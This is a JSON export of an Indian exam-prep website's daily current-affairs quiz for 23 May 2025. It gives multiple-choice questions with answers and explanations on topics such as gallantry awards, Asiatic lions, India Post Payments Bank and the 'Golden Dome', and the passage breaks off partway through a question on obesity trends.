{"id":2127,"date":"2025-05-27T04:22:21","date_gmt":"2025-05-27T04:22:21","guid":{"rendered":"https:\/\/iasquest.com\/?p=2127"},"modified":"2026-02-11T18:56:36","modified_gmt":"2026-02-11T18:56:36","slug":"daily-current-affairs-23-05-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-23-05-2025\/","title":{"rendered":"Daily Current Affairs \u2013 23-05-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. Dhanvantiri was one of the nine jewels of Vikramaditya.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. Charaka was the royal physician in the Kushan Kingdom.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. Sushruta&#8217;s work provides the first written record of rhinoplasty.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">4. Jivaka was an ayurvedic physician who was the personal doctor of Buddha.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>How many of the above statement(s) is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Answer: (d) All four<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong><em>News: Text of the Vice-President\u2019s address at the unveiling of the statues of Sushruta and Charaka.<\/em><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li><strong>Dhanvantiri <\/strong>was one of the <strong>nine jewels of Vikramaditya (Chandragupta-II) and Varahamihira <\/strong>who wrote<strong> Brihat Samhita <\/strong>also one of the navratnas of Chandragupta-II.<\/li>\n\n\n\n<li><strong>Charaka was the royal physician in the Kushan Kingdom.<\/strong><\/li>\n\n\n\n<li><strong>Charaka is known as the father of medicine, and Charaka<\/strong> authored the<strong> Charak Samhita, which is a foundational text for Ayurveda.<\/strong><\/li>\n\n\n\n<li><strong>Sushruta, the father of surgery <\/strong>whose treatises provides the<strong> first written record of a <\/strong>forehead flap<strong> rhinoplasty (plastic surgery) <\/strong>and <strong>ophthalmology (cataract ejection); Sushruta <\/strong>was a <strong>disciple of Dhanvantari.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2130490\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2130490<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>2. Consider the following statements with respect to Gallantry Awards:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">1. Gallantry awards are honored for triservices including paramilitary forces.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">2. These awards may be given posthumously.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">3. Ashok Chakra is the highest award given for most conspicuous bravery during war time.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">4. These are given in two categories namely wartime and peacetime awards.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>How many of the above statement(s) is\/are incorrect?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Answer: (a) Only one<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>News: PRESIDENT OF INDIA PRESENTS GALLANTRY AWARDS<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>The Param Vir Chakra (PVC) is India&#8217;s highest military decoration <\/strong>awarded for the<strong> <em>highest degree of valour or self-sacrifice in the presence of the enemy,<\/em> <\/strong>similar to the British Victoria Cross, US Medal of Honor, or French Legion of Honor or Russian Cross of St. George.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>The Ashok Chakra<\/strong> is awarded for <strong><em>valor, courageous action or self-sacrifice away from the<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong><em>battlefield<\/em><\/strong>. It is the <strong>peacetime equivalent of the Param Vir Chakra<\/strong>, and is awarded for the &#8220;most conspicuous bravery or some daring or pre-eminent valour or self-sacrifice&#8221; other than in the face of the enemy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>The Maha Vir Chakra (MVC) is the <em>second highest military decoration<\/em> <\/strong>in India and is awarded for acts of conspicuous gallantry in the presence of the enemy, whether on land, at sea or in the air. It may be awarded posthumously.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>The Kirti Chakra<\/strong> is an Indian military decoration <strong><em>awarded for valour, courageous action or self sacrifice away from the field of battle<\/em><\/strong>. It may be awarded to<strong><em> civilians as well as military personnel, including posthumous awards.<\/em><\/strong> It is the <strong>peacetime equivalent of the Maha Vir Chakra<\/strong>. It is second in order of precedence of peacetime gallantry awards.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Vir Chakra:<\/strong> For acts of gallantry<strong><em> in the presence of the enemy,<\/em><\/strong> whether of land or at sea or in the air. It is <em>third in precedence in the war time gallantry<\/em> awards and comes after the Param Vir Chakra and Maha Vir Chakra.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Shaurya Chakra:<\/strong> Awarded for gallantry otherwise than in the face of the enemy. It is the peacetime equivalent of the Vir Chakra.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><a href=\"https:\/\/warb-mha.gov.in\/pdf\/awards.pdf\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/warb-mha.gov.in\/pdf\/awards.pdf<\/strong><\/a><strong> <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2130619\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2130619<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>3. With reference to India Post Payments Bank (IPPB), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">1. IPPB is a scheduled commercial bank under the Reserve Bank of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">2. It was established with 100% equity owned by the Government of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">3. The fundamental mandate of India Post Payments Bank is to remove barriers for the unbanked &amp; underbanked.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Answer: (b) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong><em>News:<\/em><\/strong><strong> India Post Payments Bank Partners with Aditya Birla Capital Limited to Simplify Accessibility to Loan Products across India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-51\">\n<li>IPPB is <strong>not a scheduled commercial bank<\/strong>. It is <strong>a payments bank<\/strong>, which is a special category of banks licensed by the Reserve Bank of India<strong> to promote financial inclusion. <\/strong>Payments banks <strong>can accept deposits but are restricted from issuing loans or credit cards.<\/strong><\/li>\n\n\n\n<li><strong>India Post Payments Bank (IPPB) <\/strong>has beenestablished under the <strong>Department of Posts, Ministry of Communication <\/strong>with<strong> 100% equity owned by the Government of India. <\/strong>IPPB was launched on September 1, 2018.<\/li>\n\n\n\n<li>The bank has been set up with the vision to build the most accessible, affordable and trusted bank for the common man in India.<\/li>\n\n\n\n<li><strong>The fundamental mandate of India Post Payments Bank is to remove barriers for the unbanked &amp; underbanked <\/strong>and reach the last mile leveraging the Postal network comprising ~1,65,000 Post Offices (~140,000 in rural areas) and ~3,00,000 Postal employees.<\/li>\n\n\n\n<li>IPPB\u2019s reach and its operating model is built on the key pillars of India Stack &#8211; enabling Paperless, Cashless and Presence-less banking in a simple and secure manner at the customers&#8217; doorstep, through a CBS-integrated smartphone and biometric device.<\/li>\n\n\n\n<li>Leveraging frugal innovation and with a high focus on ease of banking for the masses, IPPB delivers simple and affordable banking solutions through intuitive interfaces available in 13 languages.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2130499\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2130499<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>4. With respect to Asiatic Lion, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">1. Asiatic lions are naturally found in India only.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">2. They are classified as Endangered in the Red list of IUCN.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">3. They chose night time, usually for hunting.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Which of the above statement(s) is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong><em>News:<\/em><\/strong><strong> 2025 Lion census shows 32% population rise: Why Asiatic lion\u2019s future can\u2019t be secured by numbers alone.<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li><strong>The latest population estimation <\/strong>exercise in Gujarat has recorded 891 lions, <strong>a 32% jump in population since 2020.<\/strong><\/li>\n\n\n\n<li><strong>The Asiatic lion (Panthera leo persica) <\/strong>is currently found <strong>only in the Gir Forest region of Gujarat, India.<\/strong> It is the <strong>only place in the wild where this subspecies exists.<\/strong><\/li>\n\n\n\n<li>The lions have colonised <strong>at least three new areas \u2014 Barda wildlife sanctuary, Jetpur and Babra-Jasdan \u2014 in the last five years.<\/strong><\/li>\n\n\n\n<li>The <strong>Saurashtra peninsula<\/strong> has very few protected wilderness areas \u2014 Gir National Park and a few small sanctuaries such as <strong>Pania, Girnar, Mitiyala and the recently colonised Berda <\/strong>\u2014 for the lion to flourish.<\/li>\n\n\n\n<li>A nearly 900-strong population scattered across 358 locations strengthens the species recovery trend that made IUCN change the Asiatic Lion\u2019s status from <strong>\u201ccritically-endangered\u201d to \u201cendangered\u201d in 2008<\/strong>.<\/li>\n\n\n\n<li>Lions generally prefer to hunt at night. This is primarily due to their excellent night vision, which gives them an advantage over their prey, which are often diurnal (active during the day).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><a href=\"https:\/\/indianexpress.com\/article\/explained\/out-of-the-woods-in-gujarat-why-asiatic-lions-future-cant-be-secured-by-numbers-alone-10022963\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/out-of-the-woods-in-gujarat-why-asiatic-lions-future-cant-be-secured-by-numbers-alone-10022963\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>5. The term \u201cGolden Dome\u201d recently seen in news refers to<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">(a) Largest project of Saudi Arabia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">(b) Mughal style of architecture on tomb and mosque<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">(c) Global coverage defense system<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">(d) Project designed for focusing sweet revolution<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Answer: (c) Global coverage defense system<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong><em>News:<\/em><\/strong><strong> US President Trump unveiled the \u2018Golden Dome\u2019 missile defence shield.<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-77\">\n<li>The U.S. President has unveiled a new missile defense initiative called the<strong> \u2018Golden Dome,\u2019 aimed at countering a broad range of aerial threats,<\/strong> including those originating from space.<\/li>\n\n\n\n<li>The Golden Dome is an <strong><em>advanced missile defense system that incorporates space-based sensors and interceptors.<\/em><\/strong><\/li>\n\n\n\n<li>Its <strong>goal is to form a multilayered shield capable of neutralizing threats such as hypersonic missiles, ballistic and cruise missiles, as well as drones, regardless of their launch point\u2014even from space<\/strong>.<\/li>\n\n\n\n<li>The system envisions deploying thousands of satellites in Earth\u2019s orbit to intercept missiles shortly after launch. This concept has historical roots,<strong><em> first explored by Nazi Germany during World War II and later by both the U.S. and the Soviet Union during the Cold War.<\/em><\/strong><\/li>\n\n\n\n<li>Design Influenced from both <strong>Israel\u2019s Iron Dome<\/strong> and <strong>Ronald Reagan\u2019s Strategic Defense Initiative\u2014popularly known as the \u201cStar Wars\u201d program.<\/strong> While the Iron Dome is a short-range, radar-based ground system, the Golden Dome aspires to be a next-generation, globally integrated defense network, offering protection across land, sea, and space.<\/li>\n\n\n\n<li><strong>Iron Dome is Israel&#8217;s ground-based, short-range missile defence<\/strong> relying on radar and <strong>Tamir interceptors;<\/strong> ideal for localized threats.<\/li>\n\n\n\n<li><strong>Golden Dome is a US-scale system with space-enabled global coverage <em>to tackle long-range, high-speed and high-altitude threats like ICBMs from Russia or China.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><a href=\"https:\/\/indianexpress.com\/article\/explained\/what-is-trumps-golden-dome-futuristic-u-s-air-defence-system-10020862\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/what-is-trumps-golden-dome-futuristic-u-s-air-defence-system-10020862\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>6. Consider the following statements with respect to impeachment of judges:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">1. The Constitution does not provide grounds on removal of judges of the supreme court.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">2. The Constitution of India gives the detailed procedure of removing a judge.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">3. No judge of the supreme court or high court has been impeached so far.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>How many of the above statement(s) is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Answer: (a) Only one<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong><em>News: <\/em><\/strong><strong>The Veeraswami case: When can a sitting judge face an FIR?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-92\">\n<li>Supreme Court and High Court judges can only be removed through impeachment under <strong>Articles 124(4) and 217<\/strong> of the constitution.<\/li>\n\n\n\n<li>A judge of the Supreme Court as per <strong>Article 124(4)<\/strong> (and similarly under <strong>Article 217 for High Court judges) can be removed from office by the President only on the grounds of: Proved misbehaviour and Incapacity.<\/strong> And he\/she can be removed only after a formal impeachment process by Parliament.<\/li>\n\n\n\n<li>Impeachment requires a <strong>two-thirds majority in both Houses of Parliament.<\/strong><\/li>\n\n\n\n<li>No judge has been impeached so far.<\/li>\n\n\n\n<li>The Constitution of India does not provide the procedure of removing a judge of the supreme court rather, Judges Inquiry Act, 1968 which is an act to regulate the procedure for the investigation and proof of the misbehaviour or incapacity of a judge of the Supreme Court or of a High Court.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-law\/the-veeraswami-case-when-can-a-sitting-judge-face-an-fir-10020846\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/explained-law\/the-veeraswami-case-when-can-a-sitting-judge-face-an-fir-10020846\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>7. Which of the following is\/are the functions of the Contingent Reserve Arrangement (CRA) under BRICS?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">1. To provide short-term liquidity support to member countries.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">2. To fund infrastructure development projects across developing countries.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">3. To act as a substitute for the International Monetary Fund (IMF).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">(b) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(d) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong><em>News<\/em><\/strong><strong>: India calls for dismantling of export controls among BRICS members at 15th BRICS Trade Ministers\u2019 Meeting<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-107\">\n<li>The Contingent Reserve Arrangement (CRA) is designed to provide short-term balance of payments support through currency swaps in times of liquidity pressures.<\/li>\n\n\n\n<li>To fund infrastructure development projects across developing countries is a function of the New Development Bank (NDB).<\/li>\n\n\n\n<li>CRA complements institutions like the IMF but is not a substitute. It offers additional support, especially for BRICS nations, in times of financial instability.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2130821\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2130821<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>8. Consider the following sub-schemes under PMKSY:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">1. Mega Food Parks<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">2. Integrated Cold Chain and Value Addition Infrastructure<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">3. National Agricultural Market (e-NAM)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">4. Infrastructure for Agro-processing Clusters<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Which of the above are part of the PMKSY?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(b) 1, 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(c) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(d) All of the above<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Answer: (b) 1, 2 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>National Agricultural Market (e-NAM)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-123\">\n<li>e-NAM is a separate scheme launched by the Ministry of Agriculture and Farmers\u2019 Welfare, aimed at creating a unified national market for agricultural commodities.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Mega Food Parks<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-125\">\n<li>It is Included under PMKSY, aims to provide a mechanism to link agricultural production to the market by bringing together farmers, processors, and retailers.<\/li>\n\n\n\n<li>It offers infrastructure like cold storage, warehousing, and logistics in a hub-and-spoke model.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Integrated Cold Chain and Value Addition Infrastructure<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li>It is Included<strong> <\/strong>under PMKSY, aims to provide integrated cold chain and preservation infrastructure facilities without any break from the farm gate to the consumer.<\/li>\n\n\n\n<li>It supports pre-cooling, cold storage, reefer vans, IQF, and value addition facilities.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Infrastructure for Agro-processing Clusters<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-129\">\n<li>It is included under PMKSY aims to create modern infrastructure in identified agro clusters to encourage entrepreneurs and farmer producer organizations (FPOs) to set up food processing units.<\/li>\n\n\n\n<li>It focuses on common facilities like warehouse, cold storage, packaging, etc., for small and medium enterprises in agro-processing.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>9. With reference to obesity trends in India, which of the following statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">1. Childhood obesity in India has decreased since 1990.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">2. Women show a higher burden of obesity than men.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">3. High BMI accounts for a greater percentage of cardiovascular deaths in women than in men.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Select the correct answer using code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 